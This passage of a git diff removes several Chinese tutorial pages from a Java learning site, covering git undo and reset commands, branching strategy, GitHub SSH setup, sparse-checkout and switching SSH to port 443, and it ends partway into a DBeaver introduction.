9、撤销 -``` -# 恢复暂存区的指定文件到工作区 -$ git checkout [file] - -# 恢复某个commit的指定文件到暂存区和工作区 -$ git checkout [commit] [file] - -# 恢复暂存区的所有文件到工作区 -$ git checkout . - -# 重置暂存区的指定文件,与上一次commit保持一致,但工作区不变 -$ git reset [file] - -# 重置暂存区与工作区,与上一次commit保持一致 -$ git reset --hard - -# 重置当前分支的指针为指定commit,同时重置暂存区,但工作区不变 -$ git reset [commit] - -# 重置当前分支的HEAD为指定commit,同时重置暂存区和工作区,与指定commit一致 -$ git reset --hard [commit] - -# 重置当前HEAD为指定commit,但保持暂存区和工作区不变 -$ git reset --keep [commit] - -# 新建一个commit,用来撤销指定commit -# 后者的所有变化都将被前者抵消,并且应用到当前分支 -$ git revert [commit] - -# 暂时将未提交的变化移除,稍后再移入 -$ git stash -$ git stash pop -``` -### 10、其他 -``` -# 生成一个可供发布的压缩包 -$ git archive -``` - -## 六、图解 Git 分支 - -相比同类软件,Git有很多优点。其中很显著的一点,就是版本的分支(branch)和合并(merge)十分方便。 - -有些传统的版本管理软件,分支操作实际上会生成一份现有代码的物理拷贝,而Git只生成一个指向当前版本(又称"快照")的指针,因此非常快捷易用。 - -但是,太方便了也会产生副作用。如果你不加注意,很可能会留下一个枝节蔓生、四处开放的版本库,到处都是分支,完全看不出主干发展的脉络。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/fenzhi-01.png) - - -那有没有一个好的分支策略呢?答案当然是有的。 - -### 1、主分支Master - -首先,代码库应该有一个、且仅有一个主分支。所有提供给用户使用的正式版本,都在这个主分支上发布。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/fenzhi-02.png) - -Git主分支的名字,默认叫做Master。它是自动建立的,版本库初始化以后,默认就是在主分支在进行开发。 - -### 2、开发分支Develop - -主分支只用来发布重大版本,日常开发应该在另一条分支上完成。我们把开发用的分支,叫做Develop。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/fenzhi-03.png) - -这个分支可以用来生成代码的最新隔夜版本(nightly)。如果想正式对外发布,就在Master分支上,对Develop分支进行"合并"(merge)。 - -Git创建Develop分支的命令: - -``` -  git checkout -b develop master -``` - -将Develop分支发布到Master分支的命令: - -``` -  # 切换到Master分支 -  git checkout master - -  # 对Develop分支进行合并 -  git merge --no-ff develop -``` - -这里稍微解释一下上一条命令的--no-ff参数是什么意思。默认情况下,Git执行"快进式合并"(fast-farward merge),会直接将Master分支指向Develop分支。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/fenzhi-04.png) - -使用--no-ff参数后,会执行正常合并,在Master分支上生成一个新节点。为了保证版本演进的清晰,我们希望采用这种做法。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/fenzhi-05.png) - -### 3、临时性分支 - -前面讲到版本库的两条主要分支:Master和Develop。前者用于正式发布,后者用于日常开发。其实,常设分支只需要这两条就够了,不需要其他了。 - -但是,除了常设分支以外,还有一些临时性分支,用于应对一些特定目的的版本开发。临时性分支主要有三种: - -* 功能(feature)分支 -* 预发布(release)分支 -* 修补bug(fixbug)分支 - -这三种分支都属于临时性需要,使用完以后,应该删除,使得代码库的常设分支始终只有Master和Develop。 - -接下来,一个个来看这三种"临时性分支"。 - -**第一种是功能分支**,它是为了开发某种特定功能,从Develop分支上面分出来的。开发完成后,要再并入Develop。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/fenzhi-06.png) - -功能分支的名字,可以采用feature-*的形式命名。 - -创建一个功能分支: -``` -  git checkout -b feature-x develop -``` - -开发完成后,将功能分支合并到develop分支: - -``` -  git checkout develop - -  git merge --no-ff feature-x -``` - -删除feature分支: -``` -  git branch -d feature-x -``` - -**第二种是预发布分支**,它是指发布正式版本之前(即合并到Master分支之前),我们可能需要有一个预发布的版本进行测试。 - -预发布分支是从Develop分支上面分出来的,预发布结束以后,必须合并进Develop和Master分支。它的命名,可以采用release-*的形式。 - -创建一个预发布分支: -``` -  git checkout -b release-1.2 develop -``` -确认没有问题后,合并到master分支: -``` -  git checkout master - -  git merge --no-ff release-1.2 - -  # 对合并生成的新节点,做一个标签 -  git tag -a 1.2 -``` -再合并到develop分支: -``` -  git checkout develop - -  git merge --no-ff release-1.2 -``` -最后,删除预发布分支: -``` -  git branch -d release-1.2 -``` -**最后一种是修补bug分支**。软件正式发布以后,难免会出现bug。这时就需要创建一个分支,进行bug修补。 - -修补bug分支是从Master分支上面分出来的。修补结束以后,再合并进Master和Develop分支。它的命名,可以采用fixbug-*的形式。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/fenzhi-07.png) - -创建一个修补bug分支: -``` -  git checkout -b fixbug-0.1 master -``` -修补结束后,合并到master分支: -``` -  git checkout master - -  git merge --no-ff fixbug-0.1 - -  git tag -a 0.1.1 -``` -再合并到develop分支: -``` -  git checkout develop - -  git merge --no-ff fixbug-0.1 -``` -最后,删除"修补bug分支": -``` -  git branch -d fixbug-0.1 -``` - -## 七、Git 实战 - -对于新手来说,Git 操作确实容易给代码的版本库带来一些不必要的混乱,毕竟大学的时候,学习的重点在编程语言上,在计算机基础上。可一旦参加了工作,就必须得在代码版本库上狠下一番功夫了,毕竟要多人运动啊,不,多人协作啊。 - - -### 1、创建仓库 - -仓库,也就是 repository,可以简单理解为一个目录,这个目录里面的所有文件都将被 Git 管理起来,每个文件的一举一动,都将被 Git 记录下来,以便在任何时刻进行追踪和回滚。 - -新建一个文件夹,比如说 testgit,然后使用 `git init` 命令就可以把这个文件夹初始化为 Git 仓库了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/jibenshiyong-01.png) - - -初始化Git 仓库成功后,可以看到多了一个 .git 的目录,没事不要乱动,免得破坏了 Git 仓库的结构。 - -接下来,我们来新增一个文件 readme.txt,内容为“老铁,记得给二哥三连啊”,并将其提交到 Git 仓库。 - -第一步,使用 `git add` 命令将新增文件添加到暂存区。 - -第二步,使用 `git commit` 命令告诉 Git,把文件提交到仓库。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/jibenshiyong-02.png) - -可以使用 `git status` 来查看是否还有文件未提交。 - -也可以在文件中新增一行内容“传统美德不能丢,记得点赞哦~”,再使用 `git status` 来查看结果。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/jibenshiyong-03.png) - -如果想查看文件到底哪里做了修改,可以使用 `git diff` 命令: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/jibenshiyong-04.png) - -确认修改的内容后,可以使用 `git add` 和 `git commit` 再次提交。 - -### 2、版本回滚 - -再次对文件进行修改,追加一行内容为:“xxx,我爱你❤”,并且提交到 Git 仓库。 - -现在我已经对 readme.txt 文件做了三次修改了。可以通过 `git log` 命令来查看历史记录: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/jibenshiyong-05.png) - -也可以通过 `gitk` 这个命令来启动图形化界面来查看版本历史。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/jibenshiyong-06.png) - - -如果想回滚的话,比如说回滚到上一个版本,可以执行以下两种命令: - -1)`git reset --hard HEAD^`,上上个版本就是 `git reset --hard HEAD^^`,以此类推。 - -2)`git reset --hard HEAD~100`,如果回滚到前 100 个版本,用这个命令比上一个命令更方便。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/jibenshiyong-07.png) - -那假如回滚错了,想恢复,不记得版本号了,可以先执行 `git reflog` 命令查看版本号: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/jibenshiyong-08.png) - -然后再通过 `git reset --hard` 命令来恢复: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/jibenshiyong-09.png) - -### 3、工作区和暂存区的区别 - -工作区和暂存区的概念其实在前面的章节里强调过了,但考虑到有些小伙伴在 `git add` 和 `git commit` 命令之间仍然有一些疑惑,我们这里就再强调一次——学习知识就是这样,只有不厌其烦地重复,才能真正地理解和掌握。 - -1)**工作区**,比如说前面提到的 testgit 目录就属于工作区,我们操作的 readme.txt 文件就放在这个里面。 - -2)**暂存区**,隐藏目录 .git 不属于工作区,它(Git 仓库)里面存了很多东西,其中最重要的就是暂存区。 - -Git 在提交文件的时候分两步,第一步 `git add` 命令是把文件添加到暂存区,第二步 `git commit` 才会把暂存区的所有内容提交到 Git 仓库中。 - -“**为什么要先 add 才能 commit 呢?**” - -最直接的原因就是Linus 搞了这个“暂存区”的概念。那为什么要搞这个概念呢?没有暂存区不行吗? - -嗯,要回答这个问题,我们就需要追本溯源了。 - -在 Git 之前, SVN 是代码版本管理系统的集大成者。SVN 比之前的 CVS 更优秀的一点是,每次的提交可以由多个文件组成,并且这次提交是原子性的,要么全部成功,要么全部失败。 - -原子性带来的好处是显而易见的,这使得我们可以把项目整体还原到某个时间点,就这一点,SVN 就完虐 CVS 这些代码版本管理系统了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/jibenshiyong-10.png) - -Git 作为逼格最高的代码版本管理系统,自然要借鉴 SVN 这个优良特性的。但不同于 SVN 的是,Git 一开始搞的都是命令行,没有图形化界面,如果想要像 SVN 那样一次性选择多个文件或者不选某些文件(见上图),还真特喵的是个麻烦事。 - -对于像 Linus 这种天才级选手来说,图形化界面无疑是 low 逼,可命令行在这种情况下又实在是麻烦~ - -嗯,怎么办呢? - -神之所以为神,就是他能在遇到问题的时候想到完美的解决方案——搞个**暂存区**不就完事了? - -暂存区可以随意地将各种文件的修改放进去,只需要通过 `git add` 这种简单的命令就可以精心地挑选要提交哪些文件了,然后再一次性(原子性)的 `git commit` 到版本库,所有的问题都迎刃而解嘛。 - -我们在 testgit 目录下再新增一个文件 readyou.txt,内容为“二哥,我要和你约饭~~~”;并且在 readme.txt 文件中再追加一行内容“点赞、在看、留言、转发一条龙服务~”。 - -我们先用 `git status` 命令查看一下状态,再用 `git add` 将文件添加到暂存区,最后再用 `git commit` 一次性提交到 Git 仓库。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/jibenshiyong-11.png) - -### 4、撤销修改 - -现在,我在 readyou.txt 文件中追加了一行内容:“二哥,我想和你约会~~~”。在我想要提交的时候,突然发现追加的内容有误,我得恢复到以前的版本,该怎么办呢? - -1)我知道要修改的内容,直接修改,然后 add 和 commit 覆盖。 - -2)我忘记要修改哪些内容了,通过 `git reset -- hard HEAD` 恢复到上一个版本。 - -还有其他办法吗? - -答案当然是有了,其实在我们执行 `git status` 命令查看 Git 状态的时候,结果就提示我们可以使用 `git restore` 命令来撤销这次操作的。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/jibenshiyong-12.png) - -那其实在 git version 2.23.0 版本之前,是可以通过 `git checkout` 命令来完成撤销操作的。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/jibenshiyong-13.png) - -checkout 可以创建分支、导出分支、切换分支、从暂存区删除文件等等,一个命令有太多功能就容易让人产生混淆。2.23.0 版本改变了这种混乱局面,git switch 和 git restore 两个新的命令应运而生。 - -switch 专注于分支的切换,restore 专注于撤销修改。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/jibenshiyong-14.png) - -### 5、远程仓库 - -Git 是一款分布式版本控制系统,所以同一个 Git 仓库,可以分布到不同的机器上。一开始,只有一台机器和一个原始版本库,往后去,别的机器就可以从这台机器上拷贝原始版本,就像黑客帝国里的那个特工史密斯一样,没有任何区别。 - -这也是 Git 比集中式版本控制系统 SVN 特别的地方之一。 - -我们可以自己搭建一台每天 24 小时可以运转的 Git 服务器,然后其他人就从这台“服务器”中拷贝就行了。不过,因为 GitHub 的存在,自主搭建 Git 服务器这个步骤就可以省了。 - -从名字上就可以看得出来,GitHub 是用来提供 Git 仓库托管服务的,我们**只需要注册一个 GitHub 账号**,就可以免费获取一台每天可以运转 24 小时的 Git 远程服务器。 - -那其实在 GitHub 上有对应的中文帮助文档,来介绍如何通过 SSH 协议将本机和 GitHub 链接起来,从而不必在每次访问时提供用户名和密码。 - ->https://docs.github.com/cn/authentication/connecting-to-github-with-ssh/about-ssh - -**第一步,通过 `ls -al ~/.ssh` 命令检查 SSH 密钥是否存在** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/jibenshiyong-15.png) - -如果没有 id_rsa.pub、id_ecdsa.pub、id_ed25519.pub 这 3 个文件,表示密钥不存在。 - -**第二步,生成新 SSH 密钥** - -执行以下命令,注意替换成你的邮箱: - -``` -ssh-keygen -t ed25519 -C "your_email@example.com" -``` - -然后一路回车: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/jibenshiyong-16.png) - -记得复制一下密钥,在 id_ed25519.pub 文件中: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/jibenshiyong-17.png) - -**第三步,添加 SSH 密钥到 GitHub 帐户** - -在个人账户的 settings 菜单下找到 SSH and GPG keys,将刚刚复制的密钥添加到 key 这一栏中,点击「add SSH key」提交。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/jibenshiyong-18.png) - -Title 可不填写,提交成功后会列出对应的密钥: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/jibenshiyong-19.png) - -**为什么 GitHub 需要 SSH 密钥呢**? - -因为 GitHub 需要确认是“你本人”在往你自己的远程仓库上提交版本的,而不是别人冒充的。 - -**第四步,在 GitHub 上创建个人仓库** - -点击新建仓库,填写仓库名称等信息: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/jibenshiyong-20.png) - -**第五步,把本地仓库同步到 GitHub** - -复制远程仓库的地址: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/jibenshiyong-21.png) - -在本地仓库中执行 `git remote add` 命令将 GitHub 仓库添加到本地: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/jibenshiyong-22.png) - -当我们第一次使用Git 的 push 命令连接 GitHub 时,会得到一个警告⚠️: - -``` -The authenticity of host 'github.com (20.205.243.166)' can't be established. -ECDSA key fingerprint is SHA256:p2QAMXNIC1TJYWeIOttrVc98/R1BUFWu3/LiyKgUfQM. -Are you sure you want to continue connecting (yes/no/[fingerprint])? yes -``` - -这是因为需要你手动确认,输入 yes 即可。 - -接下来,我们使用 `git push` 命令将当前本地分支推送到 GitHub。加上了 -u 参数后,Git 不但会把本地的 master 分支推送的远程 master 分支上,还会把本地的 master 分支和远程的master 分支关联起来,在以后的推送或者拉取时就可以简化命令(比如说 `git push github master`)。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/jibenshiyong-23.png) - -此时,我们刷一下 GitHub,可以看到多了一个 master 分支,并且本地的两个文件都推送成功了! - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/jibenshiyong-24.png) - -从现在开始,只要本地做了修改,就可以通过 `git push` 命令推送到 GitHub 远程仓库了。 - -还可以使用 `git clone` 命令将远程仓库拷贝到本地。比如说我现在有一个 3.4k star 的仓库 JavaBooks, - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/jibenshiyong-25.png) - -然后我使用 `git clone` 命令将其拷贝到本地。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/jibenshiyong-26.png) - - -## 八、详解 sparse-checkout 命令 - -前天不是搭建了一个《二哥的Java进阶之路》的网站嘛,其中用到了 Git 来作为云服务器和 GitHub 远程仓库之间的同步工具。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/sparse-checkout-01.png) - - - -给大家介绍一个牛逼的命令——`git sparse-checkout`,帮我的云服务器剩下了至少一半的存储空间。 - - - - -### 1、使用 Git 中遇到的一个大麻烦 - -首先给大家通报一下,一天前[上线的《二哥的Java进阶之路》网站](https://javabetter.cn),目前访问次数已经突破 1000 了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/sparse-checkout-03.png) - - -正所谓**不积跬步无以至千里,不积小流无以成江海**。 - -1000 次也许不值一提,但 1000 万也不过是 1 万个 1000,二哥取得的每一点点进步,都要感谢大家的倾力捧场。 - -看过[上一篇搭建过程](https://mp.weixin.qq.com/s/NtOD5q95xPEs4aQpu4lGcg)的小伙伴应该都知道了,我是通过在云服务器上 clone 了一份 GitHub 上的远程仓库,然后通过宝塔面板的定时任务执行 `git pull` 命令从 GitHub 上拉取到最新的内容,再通过 [Nginx 服务器](https://mp.weixin.qq.com/s/OYOcjUwPZyPo8K4KAgJ4kw)搭建的网站,网站内容是通过 docsify 渲染 md 文件得到的。 - -直接 `git pull` 会无脑把 GitHub 上的 codes、images 目录同步到云服务器上,但其实 codes、images 目录是不需要同步的。 - -具体是怎么一回事呢? - -大家可以先看一下我这个 GitHub 仓库的目录结构哈。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/sparse-checkout-04.png) - -- docs 是文档目录,里面是 md 文件,所有的教程原稿都在这里。 -- codes 是代码目录,里面是教程的配套源码。 -- images 是图片目录,里面是教程的配套手绘图。 - -这样就可以利用 GitHub 来做免费的图床,并且还可以白票 jsDelivr CDN 的全球加速,简直不要太爽! - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/sparse-checkout-05.png) - -比如说 images 目录下有一张 logo 图 logo-01.png: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/sparse-checkout-06.png) - -如果使用 GitHub 仓库的原始路径来访问的话,速度贼慢! - ->https://github.com/itwanger/toBeBetterJavaer/tree/master/images/logo-01.png - -使用 jsDelivr 加速后就不一样了,速度飞起! - ->https://cdn.paicoding.com/tobebetterjavaer/images/logo-01.png - -简单总结下 GitHub 作为图床的正确用法,就两条: - -- 创建一个 GitHub 仓库作为图床仓库,上传提交图片到仓库中 -- 在要使用 GitHub 图床图片的地方将链接换为 - `https://cdn.jsdelivr.net/gh/{user}/{repo}/图片路径` - -付费七牛云或者阿里云图床的小伙伴不妨试试这种方式,能白票咱绝不花一分冤枉钱。 - -那也就是说,《二哥的Java进阶之路》网站上的图片都是通过 GitHub 图床加载的,不需要将图片从 GitHub 仓库拉取到云服务器上。要知道,一台云服务器的空间是极其昂贵的,能省的空间咱必须得省。 - -### 2、学习 Git 中遇到的一个大惊喜 - -于是我今天早上就在琢磨着,怎么样才能把这昂贵的空间省下来呢? - -我百度了很多帖子,绝大多数都乱七八糟,毫无价值,能说到点子上的几乎没有。 - -最后还是浏览 Git 官方手册(也可以看[Pro Git](https://mp.weixin.qq.com/s/RpFzXOa2VlFNd7ylLmr9LQ))才找到了一个牛逼的命令:**git sparse-checkout,它可以帮助我们在拉取远程仓库的时候只同步那些我们想要的目录和文件**。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/sparse-checkout-07.png) -具体怎么用,可以看官方文档: - ->[https://git-scm.com/docs/git-sparse-checkout](https://git-scm.com/docs/git-sparse-checkout) - -但没必要,hhhh,我们直接实战。 - -第一步,通过 `git remote add -f orgin git@github.com:itwanger/toBeBetterJavaer.git` 命令从 GitHub 上拉取仓库。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/sparse-checkout-08.png) - -第二步,启用 sparse-checkout,并初始化 - -拉取到仓库后,执行 `git config core.sparseCheckout true` 命令启用 sparse-checkout。 - -然后再执行 `git sparse-checkout init` 初始化。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/sparse-checkout-09.png) - -第三步,使用 sparse-checkout 来拉取我们想要的仓库目录 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/sparse-checkout-10.png) - -比如说,我们只想拉取 docs 目录,可以执行 `git sparse-checkout set docs` 命令。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/sparse-checkout-11.png) - -如果是第一次使用 sparse-checkout 的话,还需要执行一下 `git pull orgin master` 命令拉取一次。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/sparse-checkout-12.png) -第四步,验证是否生效 - -可以执行 `ls -al` 命令来确认 sparse-checkout 是否生效。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/sparse-checkout-13.png) - -如图所示,确实只拉取到了 docs 目录。 - -假如还想要拉取其他文件或者目录的话,可以通过 `git sparse-checkout add` 命令来添加。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/sparse-checkout-14.png) - -这就实现了,**远程仓库和云服务器仓库之间的定制化同步,需要什么目录和文件就同步什么目录和文件,不需要的可以统统不要**。 - -GitHub 仓库可以免费用,空间也无限大,但云服务可是要抠抠搜搜的用,毕竟扩充存储空间是真的贵! - -我对比了一下,远程仓库大概 145 M,图片就占了 72 M,妥妥地省下了一半的存储空间。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/sparse-checkout-15.png) - -如何禁用 git sparse-checkout 呢? - -也简单,只需要执行一下 `git sparse-checkout disable` 命令就可以了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/sparse-checkout-16.png) - -可以看到,那些我们不想要的目录和文件统统都又回来了。 - -如果重新启用呢? - -也简单,只需要执行一下 `git sparse-checkout reapply` 命令就可以了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/sparse-checkout-17.png) - -简单总结下:如果你要把一个庞大到撑满你硬盘的远程仓库拉取到本地,而你只需要其中的一部分目录和文件,那就可以试一试 - `git sparse-checkout` 了。 - - - -### 3、使用 Git 后的一点心里话 - -不得不说,Git 实在是太强大了。就一行命令,解决了困扰我一天的烦恼,我的 80G 存储空间的云服务器又可以再战 3 年了,从此以后再也不用担心了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/sparse-checkout-18.png) - -Git 是真的牛逼,Linus 是真的牛逼,神不愧是神! - ----- - -推荐阅读: - -> - [下载→豆瓣9.1分的 Pro Git 学习手册 YYDS!](https://mp.weixin.qq.com/s/RpFzXOa2VlFNd7ylLmr9LQ) -> - [摸清 Git 的门路,就靠这 22 张图](https://mp.weixin.qq.com/s/lY79hI7URuFh3gD9DJKInQ) -> - [保姆级Git入门教程,万字详解](https://mp.weixin.qq.com/s/Z766Egape2QicYndsQjZ4g) - -参考资料: - ->- 维基百科:[https://zh.wikipedia.org/wiki/Git](https://zh.wikipedia.org/wiki/Git) ->- hutusi:[改变世界的一次代码提交](https://mp.weixin.qq.com/s/gM__sQPILkAKWsMejOO8cA) - - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - diff --git a/docs/src/git/port-22-to-443.md b/docs/src/git/port-22-to-443.md deleted file mode 100644 index 9e734de556..0000000000 --- a/docs/src/git/port-22-to-443.md +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: GitHub 远程仓库端口从 22 改为 443,ssh connect to host github.com port 22 Connection timed outfatal Could not read from remote repository.Please make sure you have the correct access rights and the repository exists. -shortTitle: 远程仓库22端口切换到443 -category: - - 开发/构建工具 -tag: - - Git -description: 服务器上的 GitHub 仓库的端口 22 突然不能使用,导致无法 pull 代码,于是切换到了 443 端口,记录一下。 -head: - - - meta - - name: keywords - content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Git入门,Git教程,git,git教程,git远程仓库,端口切换 ---- - -2024年01月16日,这天要更新《[二哥的 Java 进阶之路](https://javabetter.cn/)》,远程连接到服务器上后,执行 `git pull` 命令,结果报错: - -```bash -git pull -ssh: connect to host github.com port 22: Connection timed out -fatal: Could not read from remote repository. - -Please make sure you have the correct access rights -and the repository exists. -``` - -以为服务器被入侵了,因为我之前操作的时候一直都是 OK 的,并且我看服务器上的 GitHub 密钥也都在。 - -![](https://cdn.paicoding.com/stutymore/port-22-to-443-20240116201634.png) - -就很奇怪,于是我在 GPT 的帮助下使用 `ssh -vvv git@github.com` 命令诊断了一下,结果如下所示: - -![](https://cdn.paicoding.com/stutymore/port-22-to-443-20240116202017.png) - -猜测的原因是,GitHub 限制了 22 端口,因为我看了一下服务器上的 22 端口,防火墙下是打开的。 - -于是我又用这个命令 `ssh -T -p 443 git@ssh.github.com` 测试了一下,结果如下所示: - -![](https://cdn.paicoding.com/stutymore/port-22-to-443-20240116202042.png) - -表明成功通过端口 443 建立了 SSH 连接到 GitHub,这意味着现在可以使用 SSH 方式进行 Git 操作(如克隆、推送、拉取等)。 - -只不过原有的配置是 22 端口,现在要改成 443 端口。怎么改呢? - -先执行下面的命令,查看现在的远程仓库地址: - -```bash -git remote -v -``` - -![](https://cdn.paicoding.com/stutymore/port-22-to-443-20240116202311.png) - -然后通过下面的命令修改远程仓库地址: - -```bash -git remote set-url origin ssh://git@ssh.github.com:443/用户名/仓库名.git -``` - -然后就可以看到端口修改成功了。 - -![](https://cdn.paicoding.com/stutymore/port-22-to-443-20240116202534.png) - -再执行 `git pull` 命令,就可以正常拉取代码了。 - -![](https://cdn.paicoding.com/stutymore/port-22-to-443-20240116202620.png) - - - - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/git/progit.md b/docs/src/git/progit.md deleted file mode 100644 index 7f841c8997..0000000000 --- a/docs/src/git/progit.md +++ /dev/null @@ -1,38 +0,0 @@ -今天给大家分享一本个人最近看过觉得非常不错的Git开源手册,可能有些小伙伴也看过了,我是最近在通勤路上用PAD看的。这本开源手册,它除了有**PDF版**,还有**epub电子书版**,非常适合电子阅读,有需要的小伙伴可以在文末自行下载: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/progit-01.png) - -相信看完对于个人Git知识体系的梳理和掌握是非常有帮助的。 - -这本手册在豆瓣上评价极高,之前9.3,现在也有9.1的高分,其作者是GitHub的员工,内容主要侧重于各种场合中的惯用法和底层原理的讲述,手册中还针对不同的使用场景,设计了几个合适的版本管理策略。简而言之,这本手册无论是对于初学者还是想进一步了解Git工作原理的开发者都非常合适。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/progit-02.png) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/progit-03.png) - -这个手册一共分为十章,详细内容如下: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/progit-04.png) - -**手册中部分内容展示如下:** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/progit-05.png) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/progit-06.png) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/progit-07.png) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/progit-08.png) - -**需要该Git手册PDF+epub电子书的小伙伴:** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/git/progit-09.png) - -可直接长按扫码关注下方二维码,回复 「**git**」 即可下载: - -![(长按扫码识别)](https://cdn.paicoding.com/tobebetterjavaer/images/itwanger.png) - - -好了,这次资源分享就到这里!后续如果遇到有用的工具或者资源,依然还会持续分享,也欢迎大家多多安利和交流,一起分享成长。 - -以上,我们下篇见。 diff --git a/docs/src/gongju/DBeaver.md b/docs/src/gongju/DBeaver.md deleted file mode 100644 index 07528fa947..0000000000 --- a/docs/src/gongju/DBeaver.md +++ /dev/null @@ -1,171 +0,0 @@ ---- -title: DBeaver:干掉付费的 Navicat,操作所有数据库就靠它了! -shortTitle: DBeaver:一款免费的数据库操作工具 -category: - - Java企业级开发 -tag: - - 辅助工具 -description: DBeaver:干掉付费的 Navicat,操作所有数据库就靠它了! -head: - - - meta - - name: keywords - content: 辅助工具,GitHub,DBeaver教程,DBeaver使用,DBeaver开源,Navicat DBeaver,Java企业级开发 ---- - - -作为一名开发者,免不了要和数据库打交道,于是我们就需要一款顺手的数据库管理工具。很长一段时间里,Navicat 都是我的首选,但最近更换了一台新电脑,之前的绿色安装包找不到了。 - -于是就琢磨着,找一款免费的,功能和 Navicat 有一拼的数据库管理工具来替代。好朋友 macrozheng 给我推荐了 DBeaver,试用完后体验真心不错,于是就来给大家安利一波。 - -## 一、关于 DBeaver - -DBeaver 是一个跨平台的数据库管理工具,支持 Windows、Linux 和 macOS。它有两个版本,企业版和社区版,对于个人开发者来说,社区版的功能已经足够强大。 - -DBeaver 是由 Java 编写的,默认使用 JDK 11 进行编译。社区版基于 [Apache-2.0 License](https://github.com/dbeaver/dbeaver/blob/devel/LICENSE.md) 在 GitHub 上开源,目前已获得 24k+ 的星标。 - ->[https://github.com/dbeaver/dbeaver](https://github.com/dbeaver/dbeaver) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-1.png) - -DBeaver 支持几乎所有主流的数据库,包括关系型数据库和非关系数据库。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-2.png) - -## 二、安装 DBeaver - -可以通过 DBeaver 官方下载安装包,也可以通过 GitHub 下载 release 版本。 - ->官方下载地址:[https://dbeaver.io/download/](https://dbeaver.io/download/) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-3.png) - -根据自己电脑的操作系统下载对应的安装包,完整安装后,第一步要做的是配置 Maven 镜像,否则在后续下载数据库驱动的时候会非常的慢。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/DBeaver-4.png) - - -因为 